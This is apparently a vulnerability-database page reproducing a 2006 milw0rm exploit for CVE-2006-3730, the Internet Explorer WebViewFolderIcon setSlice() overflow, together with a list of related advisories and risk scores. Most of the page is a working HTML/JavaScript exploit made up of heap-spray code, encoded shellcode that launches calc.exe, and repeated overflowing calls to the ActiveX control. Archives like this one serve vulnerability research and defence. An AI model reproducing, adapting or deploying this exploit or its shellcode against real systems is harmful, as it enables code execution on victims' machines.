Microsoft Internet Explorer - WebViewFolderIcon setSlice() (HTML)
| Reporter | Title | Published | Views | Family All 27 |
|---|---|---|---|---|
 | CVE-2006-3730 | 21 Jul 200614:03 | – | attackerkb |
 | CVE-2006-3730 | 3 Jul 201000:00 | – | circl |
 | Internet Explorer SetSlice Method Buffer Overflow (MS06-057; CVE-2006-3730) | 18 Oct 200600:00 | – | checkpoint_advisories |
| Internet Explorer SetSlice Method Buffer Overflow (MS06-057; CVE-2006-3730) | 18 Oct 200600:00 | – | checkpoint_advisories |
| Microsoft Internet Explorer WebViewFolderIcon ActiveX Integer Overflow - Ver2 (CVE-2006-3730) | 3 Mar 201400:00 | – | checkpoint_advisories |
 | CVE-2006-3730 | 19 Jul 200623:00 | – | cve |
 | CVE-2006-3730 | 19 Jul 200623:00 | – | cvelist |
 | Microsoft Internet Explorer - WebViewFolderIcon setSlice() Overflow (MS06-057) (Metasploit) (2) | 3 Jul 201000:00 | – | exploitdb |
| Microsoft Internet Explorer - WebViewFolderIcon setSlice() Overflow (Metasploit) (1) | 27 Sep 200600:00 | – | exploitdb |
| Microsoft Internet Explorer - WebViewFolderIcon setSlice() (1) | 29 Sep 200600:00 | – | exploitdb |
10
<!--
..::[ jamikazu presents ]::..
Microsoft Internet Explorer WebViewFolderIcon (setSlice) Exploit (0day)
Works on all Windows XP versions including SP2
Author: jamikazu
Mail: [email protected]
Bug discovered by Computer H D Moore (http://www.metasploit.com)
Credit: metasploit, SkyLined
invokes calc.exe if successful
-->
<HTML>
<BODY>
<SCRIPT language="javascript">
var heapSprayToAddress = 0x05050505;
var payLoadCode = unescape(
"%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120" +
"%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424" +
"%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304" +
"%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0" +
"%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%uF068%u048A%u685F%uFE98%u0E8A" +
"%uFF57%u63E7%u6C61%u0063");
var heapBlockSize = 0x400000;
var payLoadSize = payLoadCode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0505%u0505");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + payLoadCode;
}
for ( i = 0 ; i < 128 ; i++)
{
try{
var tar = new ActiveXObject('WebViewFolderIcon.WebViewFolderIcon.1');
tar.setSlice(0x7ffffffe, 0x05050505, 0x05050505,0x05050505 );
}catch(e){}
}
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
</SCRIPT>
</BODY>
</HTML>
# milw0rm.com [2006-09-28]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
12 Sep 2016 00:00Current
6Medium risk
Vulners AI Score6
CVSS 29.3
CVSS 3.18.8
EPSS0.63817
SSVC